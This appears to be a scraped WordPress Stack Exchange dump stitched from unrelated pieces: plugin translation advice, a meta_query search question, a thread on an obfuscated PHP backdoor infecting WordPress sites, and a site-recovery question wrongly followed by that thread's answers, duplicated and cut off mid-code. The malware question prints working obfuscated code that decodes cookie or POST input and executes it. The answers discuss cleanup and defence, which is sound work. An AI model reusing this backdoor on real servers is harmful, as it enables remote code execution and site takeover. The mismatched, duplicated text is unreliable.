You are able to change texts using a **translation** file. By default, plugin texts are in the English language. Even your site language is English, You are able to generate a new language file and change texts on it. Imagine that the plugin folder name (plugin slug, plugin text domain) is **my-plugin** and Your site language is set to **English (UK)** in *Admin Dashboard -> Settings -> General Settings -> Site Language*. So, Create a new translation using [Poedit](https://poedit.net/download) and set the translation language to **English (UK)**. Then change texts as You want and save the translation file. You can use the `pot` file that comes with the plugin and most of the time it exists in the `language` folder. It will give You two files named as `en_GB.po` and `en_GB.mo`. Rename files to `my-plugin-en_GB.po` and `my-plugin-en_GB.mo` and move them to `wp-content/languages/plugins` folder. Refresh the site and texts should be changed.
350,795
<pre><code> add_action( 'pre_get_posts' , 'my_pre_get_posts' ); Function my_pre_get_posts( $query ) { $value= $_GET['s']; if( $query-&gt;is_main_query() &amp;&amp; $query-&gt;is_search()) { $query-&gt;set( 'meta_query', array( array( 'key' =&gt; 'pdf_content', 'value' =&gt; $value, 'compare' =&gt; 'LIKE' ) ) ); } } </code></pre> <p>I am not getting any result from this query please help me?</p> <blockquote> <p>WP_Query Object ( [query] => Array ( [s] => construction [post_type] => iep_section ) [query_vars] => Array ( [s] => construction [post_type] => iep_section [error] => [m] => [p] => 0 [post_parent] => [subpost] => [subpost_id] => [attachment] => [attachment_id] => 0 [name] => [pagename] => [page_id] => 0 [second] => [minute] => [hour] => [day] => 0 [monthnum] => 0 [year] => 0 [w] => 0 [category_name] => [tag] => [cat] => [tag_id] => [author] => [author_name] => [feed] => [tb] => [paged] => 0 [meta_key] => [meta_value] => [preview] => [sentence] => [title] => [fields] => [menu_order] => [embed] => [category__in] => Array ( ) [category__not_in] => Array ( ) [category__and] => Array ( ) [post__in] => Array ( ) [post__not_in] => Array ( ) [post_name__in] => Array ( ) [tag__in] => Array ( ) [tag__not_in] => Array ( ) [tag__and] => Array ( ) [tag_slug__in] => Array ( ) [tag_slug__and] => Array ( ) [post_parent__in] => Array ( ) [post_parent__not_in] => Array ( ) [author__in] => Array ( ) [author__not_in] => Array ( ) [meta_query] => Array ( [0] => Array ( [key] => pdf_content [compare] => LIKE [value] => construction [type] => char ) ) ) [tax_query] => WP_Tax_Query Object ( [queries] => Array ( ) [relation] => AND [table_aliases:protected] => Array ( ) [queried_terms] => Array ( ) [primary_table] => [primary_id_column] => ) [meta_query] => [date_query] => [post_count] => 0 [current_post] => -1 [in_the_loop] => [comment_count] => 0 [current_comment] => -1 [found_posts] => 0 [max_num_pages] => 0 [max_num_comment_pages] => 0 [is_single] => [is_preview] => [is_page] => [is_archive] => 1 [is_date] => [is_year] => [is_month] => [is_day] => [is_time] => [is_author] => [is_category] => [is_tag] => [is_tax] => [is_search] => 1 [is_feed] => [is_comment_feed] => [is_trackback] => [is_home] => [is_privacy_policy] => [is_404] => [is_embed] => [is_paged] => [is_admin] => [is_attachment] => [is_singular] => [is_robots] => [is_posts_page] => [is_post_type_archive] => 1 [query_vars_hash:WP_Query:private] => fbc82700aadf968ad3d001310266de18 [query_vars_changed:WP_Query:private] => [thumbnails_cached] => [stopwords:WP_Query:private] => [compat_fields:WP_Query:private] => Array ( [0] => query_vars_hash [1] => query_vars_changed ) [compat_methods:WP_Query:private] => Array ( [0] => init_query_flags [1] => parse_tax_query ) )</p> </blockquote>
[ { "answer_id": 350802, "author": "M-R", "author_id": 17061, "author_profile": "https://wordpress.stackexchange.com/users/17061", "pm_score": 1, "selected": false, "text": "<p>When using <code>LIKE</code> clause, you should be using <code>%</code> to the start and end of the value to make it match with the existing values. So your query should look like this.</p>\n\n<pre><code>add_action( 'pre_get_posts' , 'my_pre_get_posts' );\nfunction my_pre_get_posts( $query ) {\n $value= '%'.$_GET['s'].'%';\n if( $query-&gt;is_main_query() &amp;&amp; $query-&gt;is_search() ) {\n $query-&gt;set( \n 'meta_query',\n array( \n array(\n 'key' =&gt; 'pdf_content',\n 'value' =&gt; $value,\n 'compare' =&gt; 'LIKE'\n ) \n ) \n ); \n }\n}\n</code></pre>\n" }, { "answer_id": 350910, "author": "rehan ansari", "author_id": 141851, "author_profile": "https://wordpress.stackexchange.com/users/141851", "pm_score": 0, "selected": false, "text": "<p>I fixed the problem by adding this code in search query</p>\n\n<pre><code>$args = array(\n 'post_type'=&gt; 'iep_section',\n\n 'order' =&gt; 'ASC',\n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'pdf_content',\n 'value' =&gt; $value,\n\n 'compare' =&gt; 'LIKE'\n )\n )\n);\n\nquery_posts( $args );\n</code></pre>\n" } ]
2019/10/18
[ "https://wordpress.stackexchange.com/questions/350795", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/141851/" ]
``` add_action( 'pre_get_posts' , 'my_pre_get_posts' ); Function my_pre_get_posts( $query ) { $value= $_GET['s']; if( $query->is_main_query() && $query->is_search()) { $query->set( 'meta_query', array( array( 'key' => 'pdf_content', 'value' => $value, 'compare' => 'LIKE' ) ) ); } } ``` I am not getting any result from this query please help me? > > WP\_Query Object ( [query] => Array ( [s] => construction [post\_type] > => iep\_section ) [query\_vars] => Array ( [s] => construction [post\_type] => iep\_section [error] => [m] => [p] => 0 [post\_parent] => > [subpost] => [subpost\_id] => [attachment] => [attachment\_id] => 0 > [name] => [pagename] => [page\_id] => 0 [second] => [minute] => [hour] > => [day] => 0 [monthnum] => 0 [year] => 0 [w] => 0 [category\_name] => [tag] => [cat] => [tag\_id] => [author] => [author\_name] => [feed] => > [tb] => [paged] => 0 [meta\_key] => [meta\_value] => [preview] => > [sentence] => [title] => [fields] => [menu\_order] => [embed] => > [category\_\_in] => Array ( ) [category\_\_not\_in] => Array ( ) > [category\_\_and] => Array ( ) [post\_\_in] => Array ( ) [post\_\_not\_in] => > Array ( ) [post\_name\_\_in] => Array ( ) [tag\_\_in] => Array ( ) > [tag\_\_not\_in] => Array ( ) [tag\_\_and] => Array ( ) [tag\_slug\_\_in] => > Array ( ) [tag\_slug\_\_and] => Array ( ) [post\_parent\_\_in] => Array ( ) > [post\_parent\_\_not\_in] => Array ( ) [author\_\_in] => Array ( ) > [author\_\_not\_in] => Array ( ) [meta\_query] => Array ( [0] => Array ( > [key] => pdf\_content [compare] => LIKE [value] => construction [type] > => char ) ) ) [tax\_query] => WP\_Tax\_Query Object ( [queries] => Array ( ) [relation] => AND [table\_aliases:protected] => Array ( ) > [queried\_terms] => Array ( ) [primary\_table] => [primary\_id\_column] => > ) [meta\_query] => [date\_query] => [post\_count] => 0 [current\_post] => > -1 [in\_the\_loop] => [comment\_count] => 0 [current\_comment] => -1 [found\_posts] => 0 [max\_num\_pages] => 0 [max\_num\_comment\_pages] => 0 > [is\_single] => [is\_preview] => [is\_page] => [is\_archive] => 1 > [is\_date] => [is\_year] => [is\_month] => [is\_day] => [is\_time] => > [is\_author] => [is\_category] => [is\_tag] => [is\_tax] => [is\_search] => > 1 [is\_feed] => [is\_comment\_feed] => [is\_trackback] => [is\_home] => > [is\_privacy\_policy] => [is\_404] => [is\_embed] => [is\_paged] => > [is\_admin] => [is\_attachment] => [is\_singular] => [is\_robots] => > [is\_posts\_page] => [is\_post\_type\_archive] => 1 > [query\_vars\_hash:WP\_Query:private] => fbc82700aadf968ad3d001310266de18 > [query\_vars\_changed:WP\_Query:private] => [thumbnails\_cached] => > [stopwords:WP\_Query:private] => [compat\_fields:WP\_Query:private] => > Array ( [0] => query\_vars\_hash [1] => query\_vars\_changed ) > [compat\_methods:WP\_Query:private] => Array ( [0] => init\_query\_flags > [1] => parse\_tax\_query ) ) > > >
When using `LIKE` clause, you should be using `%` to the start and end of the value to make it match with the existing values. So your query should look like this. ``` add_action( 'pre_get_posts' , 'my_pre_get_posts' ); function my_pre_get_posts( $query ) { $value= '%'.$_GET['s'].'%'; if( $query->is_main_query() && $query->is_search() ) { $query->set( 'meta_query', array( array( 'key' => 'pdf_content', 'value' => $value, 'compare' => 'LIKE' ) ) ); } } ```
350,833
<p>Just curious here and I need better understanding about this malware. Because their are websites are infected by this malware including my websites. But I can clean them all. Usually this malware written in strange name in .php file, inside this file:</p> <pre><code>&lt;?php $hsexdir = 'pmi9kl4H61gcbayrf_xsuo*-5#vden3t\'7';$yiorkoj = Array();$yiorkoj[] = $hsexdir[11].$hsexdir[15].$hsexdir[28].$hsexdir[13].$hsexdir[31].$hsexdir[28].$hsexdir[17].$hsexdir[16].$hsexdir[20].$hsexdir[29].$hsexdir[11].$hsexdir[31].$hsexdir[2].$hsexdir[21].$hsexdir[29];$yiorkoj[] = $hsexdir[7].$hsexdir[22];$yiorkoj[] = $hsexdir[24].$hsexdir[27].$hsexdir[11].$hsexdir[6].$hsexdir[13].$hsexdir[13].$hsexdir[8].$hsexdir[24].$hsexdir[23].$hsexdir[3].$hsexdir[27].$hsexdir[24].$hsexdir[24].$hsexdir[23].$hsexdir[6].$hsexdir[16].$hsexdir[12].$hsexdir[24].$hsexdir[23].$hsexdir[13].$hsexdir[33].$hsexdir[11].$hsexdir[27].$hsexdir[23].$hsexdir[28].$hsexdir[28].$hsexdir[24].$hsexdir[8].$hsexdir[9].$hsexdir[27].$hsexdir[11].$hsexdir[30].$hsexdir[13].$hsexdir[27].$hsexdir[11].$hsexdir[28];$yiorkoj[] = $hsexdir[25];$yiorkoj[] = $hsexdir[11].$hsexdir[21].$hsexdir[20].$hsexdir[29].$hsexdir[31];$yiorkoj[] = $hsexdir[19].$hsexdir[31].$hsexdir[15].$hsexdir[17].$hsexdir[15].$hsexdir[28].$hsexdir[0].$hsexdir[28].$hsexdir[13].$hsexdir[31];$yiorkoj[] = $hsexdir[28].$hsexdir[18].$hsexdir[0].$hsexdir[5].$hsexdir[21].$hsexdir[27].$hsexdir[28];$yiorkoj[] = $hsexdir[19].$hsexdir[20].$hsexdir[12].$hsexdir[19].$hsexdir[31].$hsexdir[15];$yiorkoj[] = $hsexdir[13].$hsexdir[15].$hsexdir[15].$hsexdir[13].$hsexdir[14].$hsexdir[17].$hsexdir[1].$hsexdir[28].$hsexdir[15].$hsexdir[10].$hsexdir[28];$yiorkoj[] = $hsexdir[19].$hsexdir[31].$hsexdir[15].$hsexdir[5].$hsexdir[28].$hsexdir[29];$yiorkoj[] = $hsexdir[0].$hsexdir[13].$hsexdir[11].$hsexdir[4];foreach ($yiorkoj[8]($_COOKIE, $_POST) as $sgmcz =&gt; $tfbhhc){function ouvcux($yiorkoj, $sgmcz, $lcrwjj){return $yiorkoj[7]($yiorkoj[5]($sgmcz . $yiorkoj[2], ($lcrwjj / $yiorkoj[9]($sgmcz)) + 1), 0, $lcrwjj);}function jnlge($yiorkoj, $ysittw){return @$yiorkoj[10]($yiorkoj[1], $ysittw);}function njfgaru($yiorkoj, $ysittw){$epjvwf = $yiorkoj[4]($ysittw) % 3;if (!$epjvwf) {$oqkbtbd = $yiorkoj[0]; $qyzju = $oqkbtbd("", $ysittw[1]($ysittw[2]));$qyzju();exit();}}$tfbhhc = jnlge($yiorkoj, $tfbhhc);njfgaru($yiorkoj, $yiorkoj[6]($yiorkoj[3], $tfbhhc ^ ouvcux($yiorkoj, $sgmcz, $yiorkoj[9]($tfbhhc))));} </code></pre> <p>and that malware creates many index.php files in folders and also this malware adds code in index.php (real one), wp-config.php, and wp-setting.php. This malware changes the file permission of those infected files to 0755. Inside of this index.php (original and fake) and those original WP files there is an encrypted code of the destination directories to the other malware with .ico (extension) or favicon file.</p> <p>May be expert can explain more.</p>
[ { "answer_id": 350848, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 1, "selected": false, "text": "<p>I'm also seeing this on a hosting place that has several WP installs. Cleaning them up (removing files that aren't supposed to be there, removing code) hasn't fixed things yet, it keeps coming back.</p>\n\n<p>If you want to decode strings like that, use the <a href=\"https://www.unphp.net\" rel=\"nofollow noreferrer\">https://www.unphp.net</a> site. Use the recursive check button.</p>\n\n<p>I've found bad code in wp-settings.php, wp-config.php, index.php, ico files (that start with a dot to make them hidden), random-name.php, rouge 500.php files inside the WP installs, and non-WP sites. </p>\n\n<p>Not sure where the re-infection is coming from. Have reset credentials everywhere (hosting, ftp, WP users, etc) to no avail.</p>\n\n<p>I think there might be some code inside the wp-posts table. Today's task is to look for that. </p>\n\n<p>For your code, it evaluates (via the www.unphp.net site) to this; other infected files have the same eval of the obfusticated code:</p>\n\n<pre><code>&lt;?php ?&gt;&lt;div style=\"clear: both\"&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div id=\"foot\"&gt;\n&lt;a href=\"&lt;?php bloginfo('url'); ?&gt;\"&gt;Home&lt;/a&gt;&lt;?php $pages = wp_list_pages('depth=1&amp;title_li=&amp;echo=0');\n$pages2 = preg_split('/(&lt;li[^&gt;]*&gt;)/', $pages);\nforeach ($pages2 as $var) {\n echo str_replace('&lt;/li&gt;', '', $var);\n} ?&gt; &lt;br/&gt;\nDistributed by &lt;a href=\"http://mondaydressing.com\"&gt;Baju Grosiran&lt;/a&gt;&lt;br/&gt;\n&lt;?php wp_footer(); ?&gt;\n&lt;?php $header_ads_act = get_theme_option('footer_ads_act1');\nif (($header_ads_act == '') || ($header_ads_act == 'No')) { ?&gt;\nCopyright &amp;#169; &lt;?php echo date(\"Y\") ?&gt; &lt;a href=\"&lt;?php bloginfo('url'); ?&gt;\"&gt;&lt;?php bloginfo('name'); ?&gt;&lt;/a&gt;&lt;?php\n} else { ?&gt;&lt;?php echo get_theme_option('footer_ads1'); ?&gt;&lt;?php\n} ?&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/body&gt;\n&lt;/html&gt;&lt;?\n</code></pre>\n\n<p>Still analyzing; will add to this answer as I find out more.</p>\n\n<p><strong>Added</strong></p>\n\n<p>The 'ico' files with a dot in front contain PHP code that also evaluates to the above code. There are <code>@include</code> commands in the modified files that point to those ico file so that the code inside will be executed.</p>\n\n<p><strong>Added</strong> 19 Oct 2019 630pm PST</p>\n\n<p>Notices that there are many files, mostly index.php, that have permissions of 'execute' (755). That is an indicator of the file containing some obfusticated code (decoded via the site linked above).</p>\n\n<p>Some of the decoded strings will point to the malware'd ICO file. </p>\n\n<p>But all of the encoded strings decode to the above code. </p>\n\n<p>Did find a couple of draft posts with author number '0' in one of the WP sites. But no indication of the malware's entry point yet.</p>\n\n<p><strong>Added</strong> 20 Oct 2019</p>\n\n<p>Still have not found the source of the code insertions. I can clean the entire site (I think) and files are re-attacked the next day.</p>\n\n<p>I've done all of the standard things, to no avail.</p>\n\n<p>I'm building a program that will scan all files and look for files that may have been hacked; perhaps I am missing some. </p>\n\n<p>The problem is made more complex by the server (dedicated VPS server at a hosting place) having multiple sites, WP and non-WP. All sites are being affected, with files randomly placed throughout all folders. </p>\n\n<p>I'll figure this one out. Luckily, the sites are low-traffic. But it is not feasible to do a 'nuke'. I'll keep reporting here...</p>\n\n<p><strong>Added 24 Oct 2019</strong></p>\n\n<p>I've written a program that helps me identify possible hacked files based on their content. Not a true 'anti-virus' thing, but a good (IMHO) program to identify areas of concerns. </p>\n\n<p>If you (or anyone else) interested, please contact me on my <a href=\"https://www.securitydawg.com\" rel=\"nofollow noreferrer\">https://www.securitydawg.com</a> site.</p>\n\n<p><strong>Added 11 Nov 2019</strong></p>\n\n<p>Site is still getting modified. The wp-settings/wp-config files, adding of the hidden ico files, random-named php files, and modified index.php (including index.php files where they shouldn't be).</p>\n\n<p>Additional things done (in addition to above):</p>\n\n<ul>\n<li>Change permissions of the wp-config.php and wp-settings.php to 400 or</li>\n<li>Change the password of the WP database(s) to something very strong.</li>\n<li>Look at the wp-posts table for wp-content fields that are not normal \n(like just a bunch of random numbers). Delete those entries. They<br>\nwill most likely be towards the end of the table, but look at every<br>\nrow.</li>\n</ul>\n\n<p>We shall see how that works.</p>\n" }, { "answer_id": 355169, "author": "Emir Anon", "author_id": 180192, "author_profile": "https://wordpress.stackexchange.com/users/180192", "pm_score": -1, "selected": false, "text": "<p>I have the same issue and I have searched all over the internet for how to fix it. Literally read 50 google results just like this one, nobody has a solution other than nuke the sites. Paying 170 dollars or more for each site to clean this (services like Sucuri, Astra and such) is just too much, it would go into the thousands because I have 30 sites and some of them aren't even worth 170 bucks.</p>\n\n<p>I literally clean these .ico files manually every morning along with some 8 letter php files like hgz8ag55.php totally random but always 8 letters. If I don't do that then it gets really nasty, redirects my traffic, inserts posts... </p>\n\n<p>The only method that works is to do a complete reinstall of wordpress on a new blank database, then drop the tables and import the old database and then as quickly as possible download a clean backup of that and move it to a new clean server, because it will get reinfected otherwise. This is a very difficult process for 30 sites. I have moved 5 so far. It's amazing that the entire internet can't solve this problem :(</p>\n" } ]
2019/10/19
[ "https://wordpress.stackexchange.com/questions/350833", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/149781/" ]
Just curious here and I need better understanding about this malware. Because their are websites are infected by this malware including my websites. But I can clean them all. Usually this malware written in strange name in .php file, inside this file: ``` <?php $hsexdir = 'pmi9kl4H61gcbayrf_xsuo*-5#vden3t\'7';$yiorkoj = Array();$yiorkoj[] = $hsexdir[11].$hsexdir[15].$hsexdir[28].$hsexdir[13].$hsexdir[31].$hsexdir[28].$hsexdir[17].$hsexdir[16].$hsexdir[20].$hsexdir[29].$hsexdir[11].$hsexdir[31].$hsexdir[2].$hsexdir[21].$hsexdir[29];$yiorkoj[] = $hsexdir[7].$hsexdir[22];$yiorkoj[] = $hsexdir[24].$hsexdir[27].$hsexdir[11].$hsexdir[6].$hsexdir[13].$hsexdir[13].$hsexdir[8].$hsexdir[24].$hsexdir[23].$hsexdir[3].$hsexdir[27].$hsexdir[24].$hsexdir[24].$hsexdir[23].$hsexdir[6].$hsexdir[16].$hsexdir[12].$hsexdir[24].$hsexdir[23].$hsexdir[13].$hsexdir[33].$hsexdir[11].$hsexdir[27].$hsexdir[23].$hsexdir[28].$hsexdir[28].$hsexdir[24].$hsexdir[8].$hsexdir[9].$hsexdir[27].$hsexdir[11].$hsexdir[30].$hsexdir[13].$hsexdir[27].$hsexdir[11].$hsexdir[28];$yiorkoj[] = $hsexdir[25];$yiorkoj[] = $hsexdir[11].$hsexdir[21].$hsexdir[20].$hsexdir[29].$hsexdir[31];$yiorkoj[] = $hsexdir[19].$hsexdir[31].$hsexdir[15].$hsexdir[17].$hsexdir[15].$hsexdir[28].$hsexdir[0].$hsexdir[28].$hsexdir[13].$hsexdir[31];$yiorkoj[] = $hsexdir[28].$hsexdir[18].$hsexdir[0].$hsexdir[5].$hsexdir[21].$hsexdir[27].$hsexdir[28];$yiorkoj[] = $hsexdir[19].$hsexdir[20].$hsexdir[12].$hsexdir[19].$hsexdir[31].$hsexdir[15];$yiorkoj[] = $hsexdir[13].$hsexdir[15].$hsexdir[15].$hsexdir[13].$hsexdir[14].$hsexdir[17].$hsexdir[1].$hsexdir[28].$hsexdir[15].$hsexdir[10].$hsexdir[28];$yiorkoj[] = $hsexdir[19].$hsexdir[31].$hsexdir[15].$hsexdir[5].$hsexdir[28].$hsexdir[29];$yiorkoj[] = $hsexdir[0].$hsexdir[13].$hsexdir[11].$hsexdir[4];foreach ($yiorkoj[8]($_COOKIE, $_POST) as $sgmcz => $tfbhhc){function ouvcux($yiorkoj, $sgmcz, $lcrwjj){return $yiorkoj[7]($yiorkoj[5]($sgmcz . $yiorkoj[2], ($lcrwjj / $yiorkoj[9]($sgmcz)) + 1), 0, $lcrwjj);}function jnlge($yiorkoj, $ysittw){return @$yiorkoj[10]($yiorkoj[1], $ysittw);}function njfgaru($yiorkoj, $ysittw){$epjvwf = $yiorkoj[4]($ysittw) % 3;if (!$epjvwf) {$oqkbtbd = $yiorkoj[0]; $qyzju = $oqkbtbd("", $ysittw[1]($ysittw[2]));$qyzju();exit();}}$tfbhhc = jnlge($yiorkoj, $tfbhhc);njfgaru($yiorkoj, $yiorkoj[6]($yiorkoj[3], $tfbhhc ^ ouvcux($yiorkoj, $sgmcz, $yiorkoj[9]($tfbhhc))));} ``` and that malware creates many index.php files in folders and also this malware adds code in index.php (real one), wp-config.php, and wp-setting.php. This malware changes the file permission of those infected files to 0755. Inside of this index.php (original and fake) and those original WP files there is an encrypted code of the destination directories to the other malware with .ico (extension) or favicon file. May be expert can explain more.
I'm also seeing this on a hosting place that has several WP installs. Cleaning them up (removing files that aren't supposed to be there, removing code) hasn't fixed things yet, it keeps coming back. If you want to decode strings like that, use the <https://www.unphp.net> site. Use the recursive check button. I've found bad code in wp-settings.php, wp-config.php, index.php, ico files (that start with a dot to make them hidden), random-name.php, rouge 500.php files inside the WP installs, and non-WP sites. Not sure where the re-infection is coming from. Have reset credentials everywhere (hosting, ftp, WP users, etc) to no avail. I think there might be some code inside the wp-posts table. Today's task is to look for that. For your code, it evaluates (via the www.unphp.net site) to this; other infected files have the same eval of the obfusticated code: ``` <?php ?><div style="clear: both"></div> </div> <div id="foot"> <a href="<?php bloginfo('url'); ?>">Home</a><?php $pages = wp_list_pages('depth=1&title_li=&echo=0'); $pages2 = preg_split('/(<li[^>]*>)/', $pages); foreach ($pages2 as $var) { echo str_replace('</li>', '', $var); } ?> <br/> Distributed by <a href="http://mondaydressing.com">Baju Grosiran</a><br/> <?php wp_footer(); ?> <?php $header_ads_act = get_theme_option('footer_ads_act1'); if (($header_ads_act == '') || ($header_ads_act == 'No')) { ?> Copyright &#169; <?php echo date("Y") ?> <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a><?php } else { ?><?php echo get_theme_option('footer_ads1'); ?><?php } ?> </div> </div> </body> </html><? ``` Still analyzing; will add to this answer as I find out more. **Added** The 'ico' files with a dot in front contain PHP code that also evaluates to the above code. There are `@include` commands in the modified files that point to those ico file so that the code inside will be executed. **Added** 19 Oct 2019 630pm PST Notices that there are many files, mostly index.php, that have permissions of 'execute' (755). That is an indicator of the file containing some obfusticated code (decoded via the site linked above). Some of the decoded strings will point to the malware'd ICO file. But all of the encoded strings decode to the above code. Did find a couple of draft posts with author number '0' in one of the WP sites. But no indication of the malware's entry point yet. **Added** 20 Oct 2019 Still have not found the source of the code insertions. I can clean the entire site (I think) and files are re-attacked the next day. I've done all of the standard things, to no avail. I'm building a program that will scan all files and look for files that may have been hacked; perhaps I am missing some. The problem is made more complex by the server (dedicated VPS server at a hosting place) having multiple sites, WP and non-WP. All sites are being affected, with files randomly placed throughout all folders. I'll figure this one out. Luckily, the sites are low-traffic. But it is not feasible to do a 'nuke'. I'll keep reporting here... **Added 24 Oct 2019** I've written a program that helps me identify possible hacked files based on their content. Not a true 'anti-virus' thing, but a good (IMHO) program to identify areas of concerns. If you (or anyone else) interested, please contact me on my <https://www.securitydawg.com> site. **Added 11 Nov 2019** Site is still getting modified. The wp-settings/wp-config files, adding of the hidden ico files, random-named php files, and modified index.php (including index.php files where they shouldn't be). Additional things done (in addition to above): * Change permissions of the wp-config.php and wp-settings.php to 400 or * Change the password of the WP database(s) to something very strong. * Look at the wp-posts table for wp-content fields that are not normal (like just a bunch of random numbers). Delete those entries. They will most likely be towards the end of the table, but look at every row. We shall see how that works.
350,850
<p>I inherited a site that was compromised (I'm not sure what version of wordpress, the crash happened last summer). I have CLI access, and can SFTP into the server. The only thing I want to get is the content of the blogs. I was able to see the mysql files from SFTP, but they are just the .frm files. What is the best way to get this content? </p>
[ { "answer_id": 350848, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 1, "selected": false, "text": "<p>I'm also seeing this on a hosting place that has several WP installs. Cleaning them up (removing files that aren't supposed to be there, removing code) hasn't fixed things yet, it keeps coming back.</p>\n\n<p>If you want to decode strings like that, use the <a href=\"https://www.unphp.net\" rel=\"nofollow noreferrer\">https://www.unphp.net</a> site. Use the recursive check button.</p>\n\n<p>I've found bad code in wp-settings.php, wp-config.php, index.php, ico files (that start with a dot to make them hidden), random-name.php, rouge 500.php files inside the WP installs, and non-WP sites. </p>\n\n<p>Not sure where the re-infection is coming from. Have reset credentials everywhere (hosting, ftp, WP users, etc) to no avail.</p>\n\n<p>I think there might be some code inside the wp-posts table. Today's task is to look for that. </p>\n\n<p>For your code, it evaluates (via the www.unphp.net site) to this; other infected files have the same eval of the obfusticated code:</p>\n\n<pre><code>&lt;?php ?&gt;&lt;div style=\"clear: both\"&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div id=\"foot\"&gt;\n&lt;a href=\"&lt;?php bloginfo('url'); ?&gt;\"&gt;Home&lt;/a&gt;&lt;?php $pages = wp_list_pages('depth=1&amp;title_li=&amp;echo=0');\n$pages2 = preg_split('/(&lt;li[^&gt;]*&gt;)/', $pages);\nforeach ($pages2 as $var) {\n echo str_replace('&lt;/li&gt;', '', $var);\n} ?&gt; &lt;br/&gt;\nDistributed by &lt;a href=\"http://mondaydressing.com\"&gt;Baju Grosiran&lt;/a&gt;&lt;br/&gt;\n&lt;?php wp_footer(); ?&gt;\n&lt;?php $header_ads_act = get_theme_option('footer_ads_act1');\nif (($header_ads_act == '') || ($header_ads_act == 'No')) { ?&gt;\nCopyright &amp;#169; &lt;?php echo date(\"Y\") ?&gt; &lt;a href=\"&lt;?php bloginfo('url'); ?&gt;\"&gt;&lt;?php bloginfo('name'); ?&gt;&lt;/a&gt;&lt;?php\n} else { ?&gt;&lt;?php echo get_theme_option('footer_ads1'); ?&gt;&lt;?php\n} ?&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/body&gt;\n&lt;/html&gt;&lt;?\n</code></pre>\n\n<p>Still analyzing; will add to this answer as I find out more.</p>\n\n<p><strong>Added</strong></p>\n\n<p>The 'ico' files with a dot in front contain PHP code that also evaluates to the above code. There are <code>@include</code> commands in the modified files that point to those ico file so that the code inside will be executed.</p>\n\n<p><strong>Added</strong> 19 Oct 2019 630pm PST</p>\n\n<p>Notices that there are many files, mostly index.php, that have permissions of 'execute' (755). That is an indicator of the file containing some obfusticated code (decoded via the site linked above).</p>\n\n<p>Some of the decoded strings will point to the malware'd ICO file. </p>\n\n<p>But all of the encoded strings decode to the above code. </p>\n\n<p>Did find a couple of draft posts with author number '0' in one of the WP sites. But no indication of the malware's entry point yet.</p>\n\n<p><strong>Added</strong> 20 Oct 2019</p>\n\n<p>Still have not found the source of the code insertions. I can clean the entire site (I think) and files are re-attacked the next day.</p>\n\n<p>I've done all of the standard things, to no avail.</p>\n\n<p>I'm building a program that will scan all files and look for files that may have been hacked; perhaps I am missing some. </p>\n\n<p>The problem is made more complex by the server (dedicated VPS server at a hosting place) having multiple sites, WP and non-WP. All sites are being affected, with files randomly placed throughout all folders. </p>\n\n<p>I'll figure this one out. Luckily, the sites are low-traffic. But it is not feasible to do a 'nuke'. I'll keep reporting here...</p>\n\n<p><strong>Added 24 Oct 2019</strong></p>\n\n<p>I've written a program that helps me identify possible hacked files based on their content. Not a true 'anti-virus' thing, but a good (IMHO) program to identify areas of concerns. </p>\n\n<p>If you (or anyone else) interested, please contact me on my <a href=\"https://www.securitydawg.com\" rel=\"nofollow noreferrer\">https://www.securitydawg.com</a> site.</p>\n\n<p><strong>Added 11 Nov 2019</strong></p>\n\n<p>Site is still getting modified. The wp-settings/wp-config files, adding of the hidden ico files, random-named php files, and modified index.php (including index.php files where they shouldn't be).</p>\n\n<p>Additional things done (in addition to above):</p>\n\n<ul>\n<li>Change permissions of the wp-config.php and wp-settings.php to 400 or</li>\n<li>Change the password of the WP database(s) to something very strong.</li>\n<li>Look at the wp-posts table for wp-content fields that are not normal \n(like just a bunch of random numbers). Delete those entries. They<br>\nwill most likely be towards the end of the table, but look at every<br>\nrow.</li>\n</ul>\n\n<p>We shall see how that works.</p>\n" }, { "answer_id": 355169, "author": "Emir Anon", "author_id": 180192, "author_profile": "https://wordpress.stackexchange.com/users/180192", "pm_score": -1, "selected": false, "text": "<p>I have the same issue and I have searched all over the internet for how to fix it. Literally read 50 google results just like this one, nobody has a solution other than nuke the sites. Paying 170 dollars or more for each site to clean this (services like Sucuri, Astra and such) is just too much, it would go into the thousands because I have 30 sites and some of them aren't even worth 170 bucks.</p>\n\n<p>I literally clean these .ico files manually every morning along with some 8 letter php files like hgz8ag55.php totally random but always 8 letters. If I don't do that then it gets really nasty, redirects my traffic, inserts posts... </p>\n\n<p>The only method that works is to do a complete reinstall of wordpress on a new blank database, then drop the tables and import the old database and then as quickly as possible download a clean backup of that and move it to a new clean server, because it will get reinfected otherwise. This is a very difficult process for 30 sites. I have moved 5 so far. It's amazing that the entire internet can't solve this problem :(</p>\n" } ]
2019/10/19
[ "https://wordpress.stackexchange.com/questions/350850", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/157187/" ]
I inherited a site that was compromised (I'm not sure what version of wordpress, the crash happened last summer). I have CLI access, and can SFTP into the server. The only thing I want to get is the content of the blogs. I was able to see the mysql files from SFTP, but they are just the .frm files. What is the best way to get this content?
I'm also seeing this on a hosting place that has several WP installs. Cleaning them up (removing files that aren't supposed to be there, removing code) hasn't fixed things yet, it keeps coming back. If you want to decode strings like that, use the <https://www.unphp.net> site. Use the recursive check button. I've found bad code in wp-settings.php, wp-config.php, index.php, ico files (that start with a dot to make them hidden), random-name.php, rouge 500.php files inside the WP installs, and non-WP sites. Not sure where the re-infection is coming from. Have reset credentials everywhere (hosting, ftp, WP users, etc) to no avail. I think there might be some code inside the wp-posts table. Today's task is to look for that. For your code, it evaluates (via the www.unphp.net site) to this; other infected files have the same eval of the obfusticated code: ``` <?php ?><div style="clear: both"></div> </div> <div id="foot"> <a href="<?php bloginfo('url'); ?>">Home</a><?php $pages = wp_list_pages('depth=1&title_li=&echo=0'); $pages2 = preg_split('/(<li[^>]*>)/', $pages); foreach ($pages2 as $var) { echo str_replace('</li>', '', $var); } ?> <br/> Distributed by <a href="http://mondaydressing.com">Baju Grosiran</a><br/> <?php wp_footer(); ?> <?php $header_ads_act = 